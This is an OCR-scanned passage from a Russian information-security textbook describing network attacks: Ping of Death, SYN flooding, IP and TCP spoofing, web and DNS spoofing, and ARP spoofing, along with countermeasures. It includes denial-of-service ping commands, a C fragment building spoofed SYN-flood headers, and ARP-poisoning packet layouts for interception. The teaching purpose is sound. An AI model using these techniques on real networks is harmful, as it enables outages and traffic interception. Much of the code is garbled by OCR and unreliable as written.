Ssubscript = $fields[1]. ">”. $dest_IP;
$icmp{$subscript}++;
}
4. Атаки на открытые системы
367
if ($dataline =~/$e_rep/) {
©fields = split(As+/,$dataline);
SdestJP = $fields[3];
$dest_IP =- sA://g;
$subscript = SdestJP. ">”. $fields[1 ]; if (!exists($icmp{$subscript))) { print “No echo request for record: $dataline\n"; }
else {$count = $icmp{$subscript};
if ($count -1 ge 0) {$icmp{$subscript}-;}
else {print “No echo request for record: $dataline\n";} } } next;
} }
Рассматривая атаки на основе протокола ICMP, нельзя не вспомнить и "Летучую смерть" (Ping o"Death). Такое название получил достаточно простой классический способ выведения из строя Интернет-узлов, обнаруживаемый по 1997 г. включительно. Результатом атаки было зависание атакуемого сервера. Примечательно, что для осуществления атаки нужно было знать только IP-адрес атакуемого устройства, который в подавляющем большинстве случаев не является секретным. Смысл атаки был основан на том, что согласно RFC 791 максимальный размер IP-пакета ограничен размером в 65535 байт. Для хранения такого максимального размера пакета в IP-заголовке отведено 16 бит и на такую максимальную величину рассчитано ПО. Это ограничение максимальной длины злоумышленник пробовал обойти. Дело в том, что более нижний, чем сетевой, уровень соединения инкапсулирует IP-дейтаграммы в кадры собственной спецификации (например, Ethernet). При этом сетевой уровень (IP) фрагментирует IP-дейтаграмму на несколько пакетов, соответствующих максимальному размеру пакета уровня соединения, размер которого ограничен спецификацией уровня соединения (1 500 байт в Ethernet). В поле заголовка IP-пакета имеется флаг "фрагмент-продолжение", который при фрагментации IP равен "1" во всех фрагментах, кроме последнего (там это значение нулевое). Кроме того, IP размещает в заголовке фрагмента (в поле смещения фрагмента) смещение данного фрагмента от начала исходного IP-пакета. Максимальное смещение при этом равно 65 528 байт. Таким образом, если во фрагменте IP-дейтаграммы выставить флаг продолжения и подсоединить вторую дейтаграмму, то можно получить результирующую дейтаграмму, размер которой будет превышать максимально допустимый (например: смещение 65528 + продолжение 1500 = 67028 > 65535). Как правило, принимающие устройства обрабатывали поступающие IP-пакеты только после прихода последнего фрагмента текущего пакета, поэтому превышение размеров максимально ожидаемой длины приводило к переполнению буфера и "зависанию" компьютера.
Данный способ выведения из строя Интернет-узлов осуществлялся, используя стандартную утилиту ping, посылающую эхо-пакеты. Например, посланная с компьютера с ОС Windows 95 команда ping -165510 test.host.ip.address;
368
Информационная безопасность открытых систем
выводила из строя Unix-компьютер, расположенный по адресу test.host.ip.address, а команда
ping -165527 -s 1 test.host.ip.address;
выводила из строя компьютер с Microsoft NT 3.51 (Workstation и сервер).
Многие ОС, в том числе и не являющиеся разновидностями Unix, были подвержены атакам типа Ping o"Death. В декабре 1996 г. две отслеживающие нарушения компьютерной безопасности организации - CERT Coordination Center из Software Engineering Institute Университета Карнеги-Меллона и Cl AC (Computer Incident Advisory Capability, http://ciac.llnl.gov и http://www.ciac.org) Министерства энергетики CHIA - издали рекомендации, в которых содержались предостережения относительно DoS-атак, при которых использовалась схема Ping o"Death. Запрещение посылки эхо-запроса не решало проблему, так как лазейка существовала в самой структуре протокола IP - потенциально опасными были все порты ПК. Решение проблемы защиты от "летучей смерти" лежало в разработке ПО, способного корректно обрабатывать IP-пакеты нестандартной длины. Поэтому для борьбы с атаками данного типа производители ОС стали выпускать к ним "заплатки" (patches). Атака не проходит и при защите границы сети пакетным фильтром с запретом трафика по ICMP-протоколу.
К описанным выше можно было бы добавить еще одну возможную атаку, связанную с уязвимостью ICMP-протокола, которая позволяет навязывать хосту-жертве ложное время. Цели злоумышленника при реализации данной атаки могут быть самыми разнообразными: десинхронизация каких-либо процессов, оттягивание времени запуска средств администрирования и обнаружения вторжений, работающих по заданному графику и т. д.
SYN-бомбардировка
SYN-бомбардировка (SYN flooding) - это одна из наиболее распространенных атак типа "отказ в обслуживании". Такие атаки имеют своей целью помешать нормальной работе хоста или некоторого сервиса. В случае удачно проведенной SYN-атаки можно сделать неработоспособным какой-либо сервис, основанный на протоколе TCP. Атака обычно направлена на определенный сервис, например на Telnet или на FTP. Она заключается в передаче пакетов установления соединения на порт, соответствующий атакуемому сервису.
Атака достаточно проста в использовании и сравнительно трудно предотвращается. Она основана на слабости транспортного протокола TCP, т. е. является высокоуровневой. Смысл SYN-бомбардировки в том, что транспортный протокол TCP, в отличие от сетевого IP, является надежным протоколом и гарантирует доставку сегмента данных получателю. Это означает, что в случае отсутствия за определенный промежуток времени подтверждения от клиента о получении сегмента данных сервер будет посылать этот сегмент снова и снова, пока не получит подтверждения. Этим свойством и пользуются взломщики для вывода из строя узлов Интернета.
Данная атака активизируется при запросах с наполовину открытыми соединениями и направляется на конкретный сервис (Telnet или FTP). Результатом осуществления атаки является резкое снижение производительности или аварийное завершение работы системы.
Чтобы разобраться в механизме этой атаки, нужно понять принцип работы процесса установления соединения для TCP-протокола. Атакующий хост генерирует ты
4. Атаки на открытые системы
369
сячи отдельных сообщений, каждое из которых пытается начать трехэтапное квитирование по протоколу TCP. Все TCP-соединения являются дуплексными: данные следуют в обоих направлениях одновременно. В силу дуплексной природы соединения оба модуля TCP должны учитывать и нумеровать данные в каждом направлении по-разному, а значит, обрабатывать два начальных номера последовательности. Процесс установления соединения TCP протокола проходит в три этапа. Стандартный клиент (веб-браузер, FTP-клиент и т. п.), чтобы обратиться к серверу, посылает по его адресу TCP-сегмент, в заголовке которого присутствует флаг синхронизации (SYN) и 32-битовый начальный номер последовательности. Сервер в ответ посылает сегмент TCP с флагом подтверждения (АСК) и номером подтверждения; кроме того, в этом сегменте содержится флаг синхронизации (SYN) и начальный номер последовательности на соединение в направлении сервер-клиент. При получении этого сегмента клиент отправляет очередной свой сегмент с флагом подтверждения и номером подтверждения последовательности сервера. И только после прихода на сервер подтверждения последовательности сервера между сервером и клиентом устанавливается дуплексная TCP-связь. Все полученные сервером запросы о соединениях хранятся в специальной очереди, имеющей заранее определенный размер, зависящий от ОС. Они хранятся там до тех пор, пока сервер не получит от клиента информацию об установленном соединении. Если сервер получает пакет с запросом о соединении и очередь заполнена, этот пакет отбрасывается.
Однако можно достаточно легко модифицировать стандартный драйвер ТСР-протокола на клиентском компьютере так, чтобы он постоянно посылал на сервер сегменты с проставленным флагом синхронизации и различными начальными номерами последовательностей. Тогда в ответ на каждый такой сегмент сервер открывает отдельный канал связи и посылает ответные сегменты. ПК злоумышленника же не отвечает на приходящие данные, а только посылает и посылает новые запросы на установление дополнительных каналов связи. В результате чего загрузка атакованного сервера через некоторое время становится пиковой. Легальные пользователи уже не могут свободно пользоваться его ресурсами. Сервер становится полностью недееспособным, т. е. "зависает".
Традиционные SYN flooding DoS-атаки работают по двум принципам.
1. "Один к одному", когда одна машина отсылает достаточное количество SYN-пакетов, чтобы заблокировать доступ к серверу.
2. "Многие к одному" - множество зомби, установленых на разных серверах, атакуют машину-жертву SYN-пакетами с использованием технологии отражения (reflection SYN flooding). TCP-соединение требует, чтобы любая TCP-служба, которая получает SYN-пакет, ответила SYN/ACK-пакетом. Сервер или маршрутизатор, которые получают эти поддельные SYN-пакеты, посылают SYN/ACK-ответы на IP-адрес машины-жертвы, указанный SYN-пакетами.
В различных системах работа с очередью реализована по-разному. Так, в BSD-системах каждый порт имеет свою собственную очередь размером в 16 элементов. В системах SunOS, напротив, такого разделения нет и система просто располагает большой общей очередью. Соответственно для того, чтобы заблокировать, к примеру, WWW-порт на BSD, достаточно 16 SYN-пакетов, а для Solaris 2.5 их количество будет гораздо больше. После истечения некоторого времени (зависит от реализации) система удаляет запросы из очереди. Однако ничто не мешает злоумышленнику по
370
Информационная безопасность открытых систем
слать новую порцию запросов. Таким образом, даже находясь на соединении 2 400 bps, злоумышленник может посылать каждые 1,5 мин по 20-30 пакетов на FreeBSD-сервер, поддерживая его в нерабочем состоянии (естественно, эта ошибка скорректирована в последних версиях FreeBSD).
Как обычно, злоумышленник может воспользоваться случайными обратными IP-адресами при формировании пакетов, что затрудняет его обнаружение и фильтрацию его трафика.
Вот пример, как устанавливается заголовок IP-акета атаки SYN flooding:
packet.ip.version=4;	/* Версия 7
packet.ip.ihl=5;	/‘Длина заголовка 7
packet.ip.tos=0;	/* Тип сервиса 7
packet.ip.tot_len=htons(40);	Г Общая длинна 7
packet.ip.id=getpid();	/* Идентификатор 7
packet.ip.frag_oft=0;	/* Смещение фрагмента 7
packet.ip.ttl=255;	/* Время жизни 7
packet.ip.protocol=IPPROTO_TCP;	/* Протокол 7
packet.ip.check=O;	/* Контрольная сумма 7
packet.ip.saddr=saddress;	/* Адрес источника 7
packet.ip.daddr=daddress;	/* Адрес назначения 7
Детектирование атаки не сложно - большое количество соединений в состоянии SYNRECEIVED, игнорирование попыток соединиться с данным портом.
Для сдерживания таких атак, во-первых, следует ограничить скорость поступающих пакетов с установленным флагом SYN к серверам (пишется несложный скрипт). Это обеспечит защиту сервера от останова. Однако очень трудно сделать что-либо с лишним трафиком.
Стандартные меры по обеспечению безопасности информации в случае SYN-бомбардировки не помогают. Решение проблемы лежит в области создания специального ПО, анализирующего запросы на установление соединения, не допускающего наличия большого числа "безответных" запросов и реализующего автоматическое "прореживание" очереди, например на основе алгоритма Early Random Drop. Также может помочь передача пакетов сброса соединения на порт, через который происходит атака.
Другой вариант защиты - настроить МЭ так, чтобы все входящие TCP/IP-соединения устанавливал он сам и только после этого перебрасывал их внутрь интранета на заданный хост.
Известны также рекомендации по настройкам маршрутизатора с целью предотвратить возможность SYN-атак.
Перехват пакетов (TCP Intercept) позволяет предотвратить атаку на машины позади маршрутизатора.
Перехват пакетов позволяет проверять все запросы на установку соединения. ПО соединяется с клиентом, с сервером и, если соединение произошло успешно, замыкает эти полусоединения в одно. Для пользователя это незаметно: он как бы напрямую подключен к серверу. Несуществующие серверы никогда не соединятся с маршрутизатором, и соответственно запрос на соединение с ними не будет отослан защищаемому клиенту. "Перехват" же продолжает функционировать и перенаправлять пакеты на уже существующем соединении.
4. Атаки на открытые системы
371
В случае неправильных запросов для подозрительных пакетов ПО устанавливает свой тайм-аут и пороговое количество соединений к данному серверу, обрабатывая при этом остальные корректные запросы.
Определяя политику безопасности защищаемого интранета, можно выбрать различные варианты перехвата запросов: от перехвата всех запросов на соединения до перехвата запросов от определенных серверов или подсетей или к ним. Также можно задать пороговое количество соединений и запустить перехват в режиме просмотра, при котором лог-файлы будут создаваться без управления соединениями.
Чтобы минимизировать риск таких атак и ущерб от них, эксперты советуют администраторам веб-узлов предпринимать следующие действия:
	Посещать веб-узлы, содержащие информацию о недавних нарушениях защиты и предоставляющие "заплаты" для ПО (примеры: http://www.cs.purdue.edu/coast/ coast.html и http://www.ciac.org/ciac/).
	Получать и устанавливать программные "заплаты" для маршрутизаторов, серверов и ОС, повышающие степень защищенности систем.
	Применять средства мониторинга для выявления атак. Например, средства Web Stalker компании Haystack Labs и RealSecure компании Internet Security Systems обнаруживают атаки типа SYN flooding и другие вторжения.
Спуффинг
Есть ряд атак, которые используют возможность подмены (или "кражи") IP-адреса. Хотя исходный адрес посылается вместе с каждым IP-пакетом, на самом деле он не используется для маршрутизации. Это означает, например, что можно притвориться "соседом" при посылке пакетов серверу. Однако все ответы будут возвращаться не вам, а к вашему соседу. Несмотря на то что таким способом вы не увидите каких-либо данных, можно воспользоваться преимуществами этой атаки и, например, реализовать DoS-атаку с указанием фальшивого адреса.
Спуффинг (spoofing) - это способ НСД к компьютерам, использующий подмену адресов IP-пакетов. Этот способ достаточно распространен и эффективен. Для его осуществления используются два уровня сетевой модели OS1: сетевой (IP) и транспортный (TCP). На сетевом уровне происходит подмена адресов IP-пакета, а на транспортном - подбор начального номера последовательности TCP-сегментов и задание портов адресации. Конечным результатом спуффинга является возможность посылки данных (в том числе выполняемых команд) в выбранный злоумышленником порт атакуемого компьютера.
На рис. 44 хост С принадлежит злоумышленнику. Хост А - это компьютер, который он имитирует, обращаясь от его имени к хосту В (поэтому атака называется Host spoofing). В данном случае цель злоумышленника - притвориться другой системой, которой, например, "доверяет" система-жертва (в случае использования протокола rlogin/rsh для беспарольного входа). Все это может происходить достаточно незаметно, если законный владелец подменяемого адреса не создает никакого трафика.
Хост В	ХостА	Хост С
1Р-адрес:	1Р-адрес:	Ложный 1Р-адрес:
192.168.1.1.	192.168.1.2.	192.168.1.1.
ТСР-порт:	ТСР-порт:	ТСР-порт:
1536	514	1536
372
Информационная безопасность открытых систем
Рис. 44. Спуффинг
Метод также применяется для других целей - например, при использовании SMTP-протокола для посылки поддельных писем жертве или от лица жертвы.
Рассмотрим подробнее стандартный план действий злоумышленника X по получению НСД. Предполагается, что в сети существует некоторый доверительный компьютер, пользователи которого имеют расширенный доступ к атакуемому серверу S.
Этапы спуффинга таковы.
1.	Злоумышленник определяет IP-адрес доверенного компьютера Т.
2.	Злоумышленник легальным образом устанавливает связь с S (для этого не нужно быть зарегистрированным пользователем, так как аутентификация происходит позднее и на более высоком уровне) и получает начальный номер последовательности "сервер - злоумышленник" (ISNsl). Этот номер необходим для того, чтобы вычислить начальный номер последовательности "сервер - доверенный компьютер" (ISNs2). Этот подход называется предсказанием номера ТСР-последовательности (TCP sequence number prediction). При TCP-соединении выбирается порядковый номер последовательности, нужный для восстановления пакетов в правильном порядке. Дело в том, что начальный номер последовательности носит не случайный характер, а изменяется по строго определенному закону (правда, сейчас для устранения этой слабости, например в Windows NT или Linux, от генерации начального номера последовательности неслучайным, часто предсказуемым образом отказались). Поэтому, зная начальный номер последовательности одного соединения, можно вычислить начальный номер последовательности другого соединения.
3.	Злоумышленник временно выводит из строя компьютер Т (например, направленным "штормом" запросов), делая это для того, чтобы не дать Т послать S пакет о том, что соединение не было запрошено, иначе S закроет соединение, установленное злоумышленником.
4.	Злоумышленник инициирует связь с сервером от имени Т (в заголовке IP-пакетов, в поле отправителя сообщения проставляет адрес доверительного компьютера) и вычисляет начальный номер последовательности "сервер - доверительный компьютер" (ISNs2):
X —> S: SYN(ISNx), (обратный адрес: Т).
5.	Сервер S шлет ответный сигнал компьютеру Т с подтверждением ISNx и своим начальным номером ISNs2:
S —> Т: SYN(ISNs2), ACK(ISNx).
6.	Злоумышленник, вычисливший ISNs2, отвечает вместо Т следующее:
X —> S: ACK(ISNs2), (обратный адрес:Т).
7.	Теперь злоумышленник получил одностороннюю связь с выбранным портом сервера и в принципе может дистанционно управлять компьютером-целью. Единст
4. Атаки на открытые системы
373
венное, что ему остается делать, - это посылать подтверждения серверу о непреходящих к нему данных, увеличивая каждый раз на единицу значение ISNs2.
Технически более сложным, но и значительно более эффективным является вариант спуффинга, когда компьютер злоумышленника находится на пути трафика между атакуемым сервером и доверительным компьютером. В этом случае злоумышленник помещает свой компьютер вблизи одного из участников диалога и перенаправляет маршрут IP-пакетов так, чтобы они шли через его узел. После этого он производит стандартную процедуру спуффинга, в результате которой получает возможность не только посылать данные серверу, но и принимать ответные пакеты.
Спуффинг обычно используется как первая часть плана по несанкционированному получению прав администратора атакуемого компьютера. Также IP-spoofing часто применяется как часть различных атак:  smurf (см. п. 4.1.4);
	Host spoofing;
	DNS poisoning через предсказание номера последовательности; DNS-серверы используют рекурсивные запросы доменных имен.
Таким образом, DNS-сервер, отвечающий на запрос пользователя, сам становится клиентом для следующего в цепочке DNS-сервера. Применяемые при этом порядковые номера легко предсказываются. Злоумышленник может послать запрос к DNS-серверу, и его ответ подделывается таким образом, чтобы выглядеть ответом от следующего сервера в цепочке. Этот подделанный ответ применяется для введения в заблуждение пользователей.
Спуффинг относится к достаточно изученным способам НСД в систему. Стандартными мерами профилактики спуффинга являются: запрещение сервисов, основанных на аутентификации по IP-адресу источника, и применение пакетных фильтров со следующей настройкой - недопущение в сеть пакетов, посланных извне с хостов, имеющего внутренний сетевой адрес.
В качестве защиты можно порекомендовать и настройку маршрутизаторов, при которых они будут фильтровать ICMP-трафик, превышающий некоторую заданную заранее величину (пакетов в единицу времени). Также можно ограничить доступ к Ping-
Существует еще одна разновидность атаки - Web spoofing [81], являющаяся серьезной угрозой безопасности. Метод атаки состоит в подключении пользователя к ложному веб-серверу с целью подмены данных, запрашиваемых браузером пользователя (в этом отличие данной атаки от pharming, когда атакующий на поддельном узле ждет от самого пользователя ввода конфиденциальной информации). Web spoofing может поставить под угрозу целостность данных владельцев оригинальных вебузлов. При Web spoofing нападающий должен сначала заманить пользователя на ложный веб-узел. Это может быть сделано несколькими способами. Во-первых, путем проникновения на существующий узел и подмены URL-адресов. Во-вторых, внесением адреса ложного узла в список механизма поиска. И наконец, посылкой пользователям по электронной почте приглашения посетить ложный сервер (или на основе атаки "ложный DNS-сервер", подробно рассмотренной в п. 3.4.4). Затем адрес ложного узла помещается перед любым URL-адресом, запрашиваемым пользователем, так что адрес http://www.anyurl.com превращается в http://www.spoofserver.com-/http://www.anyurl.com. После этого запрошенная пользователем веб-страница отсы
374
Информационная безопасность открытых систем
лается к нему через ложный сервер, на котором она может быть изменена, а любая информация, которую передает пользователь, может быть перехвачена. В конце концов все другие оперативные ссылки пользователя будут иметь добавленный впереди адрес ложного узла и все URL-запросы будут нарушены. При этом строка состояния внизу экрана и адрес назначения наверху, подсказывающие пользователю, что его соединения осуществляются через другой сервер, могут быть изменены с помощью соответствующих Java-апплетов. Даже при непосредственном вводе URL-адреса в строку назначения Java-апплет все равно может вставить в него адрес ложного сервера. Избавиться от Web spoofing можно, только пользуясь закладками (Bookmarks) или выбирая опцию Open Location из меню File, так как эти действия вызываются из компонентов браузера, которыми Java-апплет не может манипулировать. Пока полного решения проблемы не существует, поскольку для этого потребовалось бы фундаментально изменить принципы работы WWW и Java-апплетов.
Еще одна разновидность атак — DNS spoofing, вносящая навязываемое соответствие между IP-адресом и доменным именем в кеш DNS-сервера. В результате все пользователи DNS-сервера получат неверную информацию о доменных именах и IP-адресах. Данная атака характеризуется большим количеством DNS-пакетов с одним и тем же доменным именем, что связано с необходимостью подбора некоторых параметров DNS-обмена. Для ее выявления необходим анализ содержимого DNS-трафика. Для уменьшения подобного риска некоторые серверы могут быть настроены на дополнительную проверку имени DNS для каждого клиента. После преобразования IP-адреса, с которого пришел запрос, в имя компьютера сервер использует систему DNS для обратного преобразования имени в адрес IP. Если два IP-адреса не совпадают, то доступ предоставляться не должен.
Ложный ARP-cepeep, или ARP-spoofing
IP-адреса есть только в стеке протоколов TCP/IP. Канальные уровни, такие, как Ethernet или Token ring, имеют собственную схему адресации (в основном 48-битовые адреса). Сетевые уровни, в свою очередь, используют эти канальные уровни. Сеть Ethernet в одно и то же время может быть использована различными сетевыми уровнями. Компьютеры, работающие с разными сетевыми протоколами, могут подключаться на одном и том же физическом кабеле. Когда фрейм Ethernet отправляется от одного хоста по интранету к другому, по его 48-битовому Ethemet-адресу определяется, к какому интерфейсу он должен быть доставлен. Драйвер сетевой платы никогда не смотрит на IP-адрес назначения в IP-дейтаграмме. Другими словами, возникает необходимость установить соответствие между двумя различными формами адресов: 32-битовыми IP-адресами и каким-либо типом адресов канального уровня. Эту задачу решает протокол определения адреса ARP (Address Resolution Protocol, RFC 826), динамически сопоставляющий IP-адреса и соответствующие им аппаратные адреса. Вводится термин "динамически", так как это происходит автоматически и обычно не зависит от используемых ПП или воли системного администратора. Эффективность функционирования ARP во многом зависит от ARP-хеша, который присутствует на каждом хосте. В хеше содержатся Интернет-адреса и соответствующие им аппаратные адреса. Стандартное время жизни каждой записи в хеше зависит от ОС.
Для нахождения адреса сетевого адаптера протокол ARP устанавливает взаимнооднозначное соответствие IP- и Ethemet-адресов для хостов, находящихся внутри од
4. Атаки на открытые системы
375
ного сегмента [44, 82]. Это достигается следующим образом: при первом обращении к сетевым ресурсам хост отправляет широковещательный ARP-запрос на Ethemet-адрес FFFFFFFFFFFFh, в котором указывает IP-адрес маршрутизатора и просит сообщить его свой Ethemet-адрес. У ARP-запроса поле Destination МАС всегда принимает значение FF:FF:FF:FF:FF:FF. Этот специальный адрес назначения Ethernet означает широковещательный (Broadcast) адрес. Пакеты с таким адресом будут получены всеми Ethemet-интерфейсами на кабеле (в том числе и интерфейсом, аппаратный адрес которого нас интересует). Далее система (рабочая станция в данном сегменте интранета, маршрутизатор и т. п.), получив запрос, проверяет (поле Target IP address), ей ли он предназначен, и, если запрос "чужой", игнорирует его (если "свой", то посылает ARP-отклик). Если запрос получает маршрутизатор, то он внесет запись о запросившем хосте в свой ARP-хеш, а затем, отправит на запросивший хост ARP-ответ, в котором сообщит свой Ethemet-адрес. Полученный в ARP-ответе Ethemet-адрес будет занесен в ARP-хеш, находящийся в памяти ОС на запросившем хосте и хранящий записи соответствия 1Р-и Ethemet-адресов для хостов внутри одного сегмента. В случае адресации к хосту, расположенному в той же подсети, также используется ARP-протокол и рассмотренная схема полностью повторяется.
При использовании в распределенной сети алгоритмов удаленного поиска имеется возможность осуществления ТУА, связанной с внесением в систему ложного объекта. Перехватив на атакующем хосте внутри данного сегмента интранета широковещательный ARP-запрос, можно послать ложный ARP-ответ, в котором объявить себя искомым хостом (например, маршрутизатором), и в дальнейшем активно контролировать и воздействовать на сетевой трафик "обманутого" хоста по схеме "ложный объект распределенной сети". Необходимо обратить внимание, что данная УА возможна только в сети с широковещательной средой передачи (типа Ethernet) и является внутрисегментной. (Стать ложным ARP-сервером довольно просто. Например, и в ОС Solaris и в Linux имеется команда агр, которая, кроме всего прочего, как раз и предназначена для этой цели [83].)
Рассмотрим обобщенную функциональную схему ложного ARP-сервера.
	Ожидание ARP-запроса.
	При получении ARP-запроса передача по сети на запросивший хост ложного ARP-ответа, в котором указывается адрес сетевого адаптера атакующей станции (ложного ARP-сервера) или тот Ethemet-адрес, на котором будет принимать пакеты ложный ARP-сервер.
	Прием, анализ, воздействие и передача пакетов обмена между взаимодействующими хостами.
Если сеть поделена на сегменты коммутаторами (рис. 45), атакующий не может прослушивать трафик между хостами.
Для прослушивания трафика необходимо "убедить" хост 1 в том, что злоумышленник является хостом 2, а хост 2 - что злоумышленник - это хост 1, т. е. создать ложный ARP-сервер. Поскольку коммутатор использует для локализации трафика аппаратные адреса компьютеров, достаточно, чтобы в ARP-хеше хостов появилась соответствующая запись. Кроме того, необходимо установить у злоумышленника ПО, которое при получении "чужого" пакета отправит его по назначению.
376
Информационная безопасность открытых систем
Рис. 45. Сеть, поделенная на сегменты коммутатором
Итак, отправим два ARP-запроса: 1) для хоста 1:
Destination МАС	Source MAC	Ethertype	Hardware	Protocol	Hardware/Proco 1 address length
FF:FF:FF:FF:FF:FF	MAC_H	0806	01	0800	0604
Operation	Sender MAC address	Sender IP address		Target MAC address	Target IP address
01	MAC_H	IPJH2		00:00:00:00:00:00	IP_H1
2) для хоста 2:
Destination MAC	Source MAC	Ethertype	Hardware	Protocol	Hardware/Proco 1 address length
FF:FF:FF:FF:FF:FF	MAC_H	0806	01	0800	0604
Operation	Sender MAC address	Sender IP address		Target MAC address	Target IP address
01	MAC_H	IP_H1		00:00:00:00:00:00	IP_H2
После получения хостами указанных пакетов в ARP-хеше появятся элементы IP H2 МАСН и IP_H1 МАСН. Однако в хеше злоумышленника также появятся аналогичные записи. Чтобы этого избежать, достаточно прописать вышеупомянутые записи статически (например, в Solaris или Windows ХР). Поэтому все пакеты, предназначенные для хоста 2, хост 1 будет направлять по МАС-адресу МАС Н. То же самое будет делать и хост 2 с пакетами для хоста 1.
Теперь злоумышленнику необходимо "слушать" весь трафик и следующим образом обрабатывать пакеты:
	получив Ethemet-пакет с МАС_Н1->МАС_Н(1Р_Н1->1Р_Н2), сменить в нем
МАС_Н->МАС_Н2(1Р_Н1->1Р_Н2) и отправить пакет;
	получив Ethemet-пакет с МАС_Н2->МАС_Н(1Р_Н2->1Р_Н1), сменить в нем МАС_Н->МАС_Н1(1Р_Н2->1Р_Н1) и отправить пакет.
Кроме того, необходимо периодически посылать ложные ARP-ответы хостам, чтобы созданные записи в ARP-хеше не устаревали.
При выполнении указанных действий через злоумышленника будут проходить все пакеты между хостами (рис. 46). Достаточно будет запустить сниффер и поставить его в режим записи всего трафика с целью последующего анализа соединений между хостами для выявления нужной информации. Каждый пакет, проходящий через злоумышленника, будет повторяться дважды: один раз, когда он приходит от хоста-отправителя, и второй — когда он будет отправлен по месту назначения. Проблемы здесь в первую очередь связаны с тем, что при обычной настройке сетевой
4. Атаки на открытые системы
377
ОС, поддерживающей протоколы TCP/IP, не требуется настройка модуля ARP. Поэтому протокол ARP остается как бы скрытым для администраторов.
Рис. 46. Типовая атака "создание ложного ARP-cepeepa"
Обратим также внимание на тот факт, что у маршрутизатора тоже имеется соответствующая таблица, в которой содержится информация об IP-адресах и соответствующих им Ethemet-адресах всех хостов из сегмента интранета, подключенного к маршрутизатору. Информация в эту таблицу на маршрутизаторе обычно заносится не вручную, а при помощи протокола ARP. Поэтому так легко в одном сегменте IP-сети присвоить чужой IP-адрес: выдать команду сетевой ОС на установку нового IP-адреса, потом обратиться в сеть, а значит, сразу же будет послан широковещательный ARP-запрос и маршрутизатор, получив этот запрос, автоматически обновит запись в своей ARP-таблице (поставит в соответствии с чужим IP-адресом Ehtemet-адрес сетевой карты), а в результате обладатель данного IP-адреса потеряет связь с внешним миром (все пакеты, адресуемые на его бывший IP-адрес и приходящие на маршрутизатор, будут направляться маршрутизатором на Ethemet-адрес атакующего). Правда, некоторые ОС анализируют все передаваемые по сети широковещательные ARP-запросы. Например, ОС Solaris при получении ARP-запроса с указанным в нем IP-адресом, совпадающим с IP-адресом данной системы, выдает предупреждающее сообщение о том, что хост с таким-то Ethemet-адресом пытается присвоить себе данный 1Р-адрес.
Теперь вернемся к схеме атаки "ложный ARP-сервер". Из анализа механизмов адресации становится ясно, что, так как широковещательный ARP-запрос, кроме атакующего, получит и маршрутизатор, в его таблице окажется соответствующая запись об IP- и Ethemet-адресе атакуемого хоста. Поэтому, когда на маршрутизатор придет пакет, направленный на IP-адрес атакуемого хоста, он будет передан не на ложный ARP-сервер, а непосредственно на хост. То есть схема передачи пакетов в этом случае будет следующая:
	атакованный хост передает пакеты на ложный ARP-сервер;
	ложный ARP-сервер передает принятый от атакованного хоста пакет на маршрутизатор;
	маршрутизатор в случае получения ответа на переданный запрос передает его непосредственно на атакованный хост, минуя ложный ARP-сервер.
В этом случае, очевидно, что последняя фаза, связанная с "приемом, анализом, воздействием и передачей пакетов обмена" между атакованным хостом и, например, маршрутизатором (или любым другим хостом в том же сегменте), будет проходить уже не в режиме полного перехвата пакетов ложным сервером, а в режиме "полупе
378
Информационная безопасность открытых систем
рехвата" (петлевая схема). В режиме полного перехвата маршрут всех пакетов, отправляемых как в одну, так и в другую стороны, обязательно проходит через ложный сервер. В режиме "полуперехвата" маршрут пакетов образует петлю.
Не сложно придумать несколько способов, позволяющих функционировать ложному ARP-серверу по мостовой схеме перехвата (полный перехват). Например, можно, получив ARP-запрос, самому послать такой же запрос и присвоить себе данный IP-адрес. Правда, в этом случае ложному ARP-серверу не удастся остаться незамеченным. Так, некоторые ОС, перехватив этот запрос, выдадут предупреждение об использовании их IP-адреса. Другой, значительно более предпочтительный способ послать ARP-запрос, указав в качестве своего IP-адреса любой свободный в данном сегменте IP-адрес, и в дальнейшем вести работу с данного IP-адреса как с маршрутизатором, так и с "обманутыми" хостами.
Различные сетевые ОС по-разному используют этот протокол для изменения информации в ARP-хеше. В ОС Linux 1.2.8 при адресации к хосту, находящемуся в одной подсети с данным хостом, в случае отсутствия в ARP-хеше соответствующей записи об Ethemet-адресе передается ARP-запрос. В дальнейшем при последующих обращениях к данному хосту посылка ARP-запроса не происходит. В ОС Solaris при каждом новом обращении к хосту происходит передача ARP-запроса и, следовательно, ARP-хеш динамически обновляется. Старые ОС Windows (например, 95) при обращении к хостам с точки зрения использования протокола ARP вели себя так же, как и названный Linux, за исключением того что эта ОС периодически (каждую минуту) посылала ARP-запрос об Ethemet-адресе маршрутизатора. В результате в течение нескольких минут вся сеть поражается с помощью ложного ARP-сервера. В NT 4.0 также используется динамически изменяемый ARP-хеш, а ARP-запросы об Ethemet-адресе маршрутизатора передаются с периодичностью 5 мин. Следовательно, интранет поражается чуть дольше.
Причина успеха данной УА кроется в широковещательной среде Ethernet. Кроме того, эта У А является внутрисегментной и поэтому представляет угрозу для пользователя только в случае нахождения атакующего внутри сегмента интранета.
Задача подмены доверенного объекта РВС состоит в следующем: убедить хост 1 в том, что злоумышленником является хост 2. Для этого необходимо послать вышеприведенный ARP-запрос на хост 1 (и делать это периодически, чтобы запись не устаревала). Однако трудность заключается в том, что если хост 2 захочет обратиться к хосту 1, то он может отправить соответствующий ARP-запрос и при этом запись в ARP-хеше изменится. Чтобы предотвратить это, необходимо периодически (приблизительно раз в 40 с) посылать ARP-ответы на хост 2.
Для ARP-протокола возможна реализация и DoS-атаки. Наводняя жертву неправильными МАС-адресами, можно сделать ее неработоспособной или даже полностью прервать связь этой машины с любой (или определенной) машиной. Если интерфейс получит данные о том, что какому-то IP соответствует МАС, который на самом деле не существует, то IP-дейтаграммы к данному хосту будут вкладываться в кадр с фальшивым МАС-адресом. Это приведет к тому, что ни один сетевой интерфейс в интранете не будет воспринимать этот пакет. Для реализации подобной атаки необходимо периодически (интервал зависит от ОС) посылать ложные ARP-запросы. В результате атакуемый хост не сможет установить соединение с хостом, IP-адрес которого указан в ложном ARP-запросе (следует отметить, что этого не смогут еде-
4. Атаки на открытые системы
379
